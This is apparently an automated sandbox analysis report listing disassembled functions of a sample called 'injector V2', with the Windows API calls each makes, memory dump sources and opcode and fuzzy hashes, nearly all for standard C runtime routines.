Function 004D6FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,004D70B1,004D83A0,004D83A0,?,00000002,D6656D70,004D83A0,00000002), ref: 004D7000
TerminateProcess.KERNEL32(00000000,?,004D70B1,004D83A0,004D83A0,?,00000002,D6656D70,004D83A0,00000002), ref: 004D7007
ExitProcess.KERNEL32 ref: 004D7019

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1981ed2677e7db0ab317275451d1a01f58dc2a3810cd941136a71d8ef7456de2
Instruction ID: a3ea4d35ecd95d217e39ab45245515ede623123e31168db8e832bcba74fe3ecc
Opcode Fuzzy Hash: 1981ed2677e7db0ab317275451d1a01f58dc2a3810cd941136a71d8ef7456de2
Instruction Fuzzy Hash: 6FD09E31004544BFDF112F61EC5D88D3F2AAF44355B054026F9094A2F2DB39DD56DB98

Function 004DA732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,004DA621,004EA088,0000000C), ref: 004DA77E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,004DA621,004EA088,0000000C), ref: 004DA790

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 21b2aed62b57ba96296e487068517cf2005a5e608b0e6e78c9e9bf2182416459
Instruction ID: ed4d443cd1b7dd265cf0c5b57e16ae8ef7b08137ec8d822f28e2541748b58dbf
Opcode Fuzzy Hash: 21b2aed62b57ba96296e487068517cf2005a5e608b0e6e78c9e9bf2182416459
Instruction Fuzzy Hash: D01187716047518ACB304E3ECCE85237AB5AB56330B34071BD5B6867F2C63CD866D64B

Function 004D6E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(004E9D20,0000000C), ref: 004D6E13
ExitThread.KERNEL32 ref: 004D6E1A

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: a037195e0540ee85f69ae97b0377e24561c3174faac9be9245752df92e846000
Instruction ID: 52ab50aa98e83b8c5304a1fa6b354cf7bd11ada4d0796b4a0779bcd1ab483e05
Opcode Fuzzy Hash: a037195e0540ee85f69ae97b0377e24561c3174faac9be9245752df92e846000
Instruction Fuzzy Hash: FAF0AFB0A00209AFDB01AFB1C86AA6E3BB5FF04705F10455FF4019B392CB389D01CB99

Function 004DB0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,004DBC39,?,00000000,?,?,004DBB55,?,00000007,?,?,004DC16E,?,?), ref: 004DB0E1
GetLastError.KERNEL32(?,?,004DBC39,?,00000000,?,?,004DBB55,?,00000007,?,?,004DC16E,?,?), ref: 004DB0EC

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ce9685d0a3e338dfbe5ec4eecc7b0c67305671c6ad92c2ff65b792a9e3c85fac
Instruction ID: 79420689a313517a3ba9a5541c2783fe7f8e14420ba5bb02680c89c523f6ae91
Opcode Fuzzy Hash: ce9685d0a3e338dfbe5ec4eecc7b0c67305671c6ad92c2ff65b792a9e3c85fac
Instruction Fuzzy Hash: B5E08631204658E7CB212BA1FC5DF593A9DDB44395F010037F50C8A3A2C7388941C7CC

Function 004DA00A Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,004D6E25,004E9D20,0000000C), ref: 004DA00E
SetLastError.KERNEL32(00000000), ref: 004DA0B0

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5a1fa0ea56183197e74fe53beb77c86e95445b0676def748b3b46515678bcc37
Instruction ID: 7290c33d0ccf6cda5fb5a0294f1cc6948ad9696048888675c7ef210d4298f8c5
Opcode Fuzzy Hash: 5a1fa0ea56183197e74fe53beb77c86e95445b0676def748b3b46515678bcc37
Instruction Fuzzy Hash: 2611C6313052566EDA233F76ACE6E273688EB417ACB15013BF514863A3EB5C9C15419F

Function 004D3B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c06c60602dadca20e58fe81bc79595e07bd0b353f5e5967de34b182165a8697c
Instruction ID: 10a764a520131626642cc02d46c2862a1e8883b14d779a7146d23b75a791afd4
Opcode Fuzzy Hash: c06c60602dadca20e58fe81bc79595e07bd0b353f5e5967de34b182165a8697c
Instruction Fuzzy Hash: E931F5B5D142098BCB04DFA9C5A46AEBBF0FF48705F10846FE456AB340DB399A05CF5A

Function 004D9E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4759255bbca012ab9add8376e473b0f289e0e4bec54bbc49eedeb6cb96201b6
Instruction ID: c0d7d14088a5eed9faaf28766cfea568270e0ffd92cf0cb0ee45f1715e9442e1
Opcode Fuzzy Hash: e4759255bbca012ab9add8376e473b0f289e0e4bec54bbc49eedeb6cb96201b6
Instruction Fuzzy Hash: 7701D6336042566B8B018F69EC90A5777A5FB80324729402BF604DB395EB349C0187DC

Function 004CCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 004CCDF9

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 2f26992af0bd56fd66c9daa87cb2e3f27d1f7a788689117db12af27e3b783184
Instruction ID: c899379e066cd258840e4545bfaab615fd747a1d7dae19ca24a4c8c290a41c48
Opcode Fuzzy Hash: 2f26992af0bd56fd66c9daa87cb2e3f27d1f7a788689117db12af27e3b783184
Instruction Fuzzy Hash: 0511D6B4D003099BCB04EFA5C49579EBBF1EF48304F40882ED859AB350EB786604CB95

Function 004DB807 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,004DA057,00000001,00000364,?,00000005,000000FF,?,004D6E25,004E9D20,0000000C), ref: 004DB848

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 61aaf9b56df72749b8bc04be6959891db02901804169a86d6634665611cbc79a
Instruction ID: bfd4bf3b06799d80d3374e45f8667f04fa3de4d8ccaca16ffc5ec82056632679
Opcode Fuzzy Hash: 61aaf9b56df72749b8bc04be6959891db02901804169a86d6634665611cbc79a
Instruction Fuzzy Hash: EFF0BB31505264D6DB113B228C25B5B378CEF41764B168027FC14D7391DB38DC01D2ED

Function 004DBC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004D41E0,?,?,004D1007,?,004CFAB5), ref: 004DBC77

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1c19ea5119942685644f6191514f3b0b4612f8b59d3ce764efe2db4c3c64659f
Instruction ID: 4ec0a488111a674f5b721c737df732b9214ccd5682e979e12bbb3b54b9f5e52b
Opcode Fuzzy Hash: 1c19ea5119942685644f6191514f3b0b4612f8b59d3ce764efe2db4c3c64659f
Instruction Fuzzy Hash: C3E0E535114651D7EA212622DC29F9F3A48FF81BA4F07012FBC54963E0CF28CC0181ED

Non-executed Functions

Function 004D4CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004D4CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004D4CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004D4CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004D4CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004D4CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004D4D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 004D4D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004D4D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 004D4D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 004D4D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 004D4D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 004D4D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 004D4D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 004D4D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004D4DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004D4DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004D4DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 004D4DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 004D4DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 004D4DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 004D4E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 004D4E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 004D4E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 004D4E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 004D4E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 004D4E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 004D4E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 004D4E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004D4E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004D4EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 004D4EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 004D4EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 004D4ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 004D4EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 004D4EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 004D4F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 004D4F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 004D4F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 004D4F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 004D4F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 004D4F5B

Strings

CreateThreadpoolTimer, xrefs: 004D4D52
GetLocaleInfoEx, xrefs: 004D4F3F
GetCurrentProcessorNumber, xrefs: 004D4DEB
CreateThreadpoolWait, xrefs: 004D4D96
SetThreadpoolTimer, xrefs: 004D4D63
CreateEventExW, xrefs: 004D4D1F
CreateThreadpoolWork, xrefs: 004D4EFB
CloseThreadpoolTimer, xrefs: 004D4D85
CompareStringEx, xrefs: 004D4F2E
SleepConditionVariableSRW, xrefs: 004D4EEA
AcquireSRWLockExclusive, xrefs: 004D4EB7
SubmitThreadpoolWork, xrefs: 004D4F0C
CreateSemaphoreW, xrefs: 004D4D30
ReleaseSRWLockExclusive, xrefs: 004D4ED9
FlsSetValue, xrefs: 004D4CEC
WakeAllConditionVariable, xrefs: 004D4E84
InitializeSRWLock, xrefs: 004D4EA6
InitializeCriticalSectionEx, xrefs: 004D4CFD
GetSystemTimePreciseAsFileTime, xrefs: 004D4E51
WaitForThreadpoolTimerCallbacks, xrefs: 004D4D74
TryAcquireSRWLockExclusive, xrefs: 004D4EC8
WakeConditionVariable, xrefs: 004D4E73
FlsFree, xrefs: 004D4CCA
CloseThreadpoolWork, xrefs: 004D4F1D
InitOnceExecuteOnce, xrefs: 004D4D0E
GetCurrentPackageId, xrefs: 004D4E0D
FlsGetValue, xrefs: 004D4CDB
FlushProcessWriteBuffers, xrefs: 004D4DC9
FlsAlloc, xrefs: 004D4CBE
SetThreadpoolWait, xrefs: 004D4DA7
CreateSemaphoreExW, xrefs: 004D4D41
SleepConditionVariableCS, xrefs: 004D4E95
GetTickCount64, xrefs: 004D4E1E
CreateSymbolicLinkW, xrefs: 004D4E01
SetFileInformationByHandle, xrefs: 004D4E40
LCMapStringEx, xrefs: 004D4F50
GetFileInformationByHandleEx, xrefs: 004D4E2F
CloseThreadpoolWait, xrefs: 004D4DB8
kernel32.dll, xrefs: 004D4CB1
InitializeConditionVariable, xrefs: 004D4E62
FreeLibraryWhenCallbackReturns, xrefs: 004D4DDA

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 9e48169d32f0793e880ee4a777dc8b1453f3e533cecebb8bb738eaa9b28bb6b2
Instruction ID: 192574652617c92f49ef8a7c5c4538bb6cc259aff928a5a689bb0f197af20edd
Opcode Fuzzy Hash: 9e48169d32f0793e880ee4a777dc8b1453f3e533cecebb8bb738eaa9b28bb6b2
Instruction Fuzzy Hash: DE613F71D963D0ABC7406FF5BDCD9C63BA8BB197527110437B101DA2E2DBB864428B6C

Function 004CCE70 Relevance: 8.0, APIs: 5, Instructions: 518threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004CCF90
std::_Throw_Cpp_error.LIBCPMT ref: 004CD216

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID:
API String ID: 350343453-0
Opcode ID: c960c888ec0ada73288eff0a99229961875fcb6ee31ef07f5748171a93e840e2
Instruction ID: 76db081f534743f228345d7d76c80ba6a43ed030923616dc19454d5358ba4d39
Opcode Fuzzy Hash: c960c888ec0ada73288eff0a99229961875fcb6ee31ef07f5748171a93e840e2
Instruction Fuzzy Hash: DAF11B76E505504FEB404A7CC8A83DF2BE68B66334F2A172EDA745B7D2D62B440A8F44

Function 004DC7DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004DC8CB

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2a2fa7dc88ff0aef6273a9da30a2bb8bbc5988335adb4e33a01c99f47b3516da
Instruction ID: 64189fd60649195154ed58b3f198143f922151e4aef40f55bf3f860ddcc30306
Opcode Fuzzy Hash: 2a2fa7dc88ff0aef6273a9da30a2bb8bbc5988335adb4e33a01c99f47b3516da
Instruction Fuzzy Hash: A871F571C0511E6EDF21EF258CE9AAAB7B9EB05304F1441DBE00997341DB388E85DF58

Function 004D5444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004D5450
IsDebuggerPresent.KERNEL32 ref: 004D551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004D553C
UnhandledExceptionFilter.KERNEL32(?), ref: 004D5546

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b3a8f74d7a41c8cc7bfedfd0bd8d51c4b6da8d396094b8330cc09d28649d3db9
Instruction ID: 69f1da8a81cf862c4788b997ecd5a2a7e2fc54ae040378a7f27dd0f9955a80d8
Opcode Fuzzy Hash: b3a8f74d7a41c8cc7bfedfd0bd8d51c4b6da8d396094b8330cc09d28649d3db9
Instruction Fuzzy Hash: 13312B75D052189BDF11EF64D9897CDBBF8BF08304F1041AAE40DAB291EB745A85CF09

Function 004D7DCA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 004D7EC2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004D7ECC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 004D7ED9

Memory Dump Source

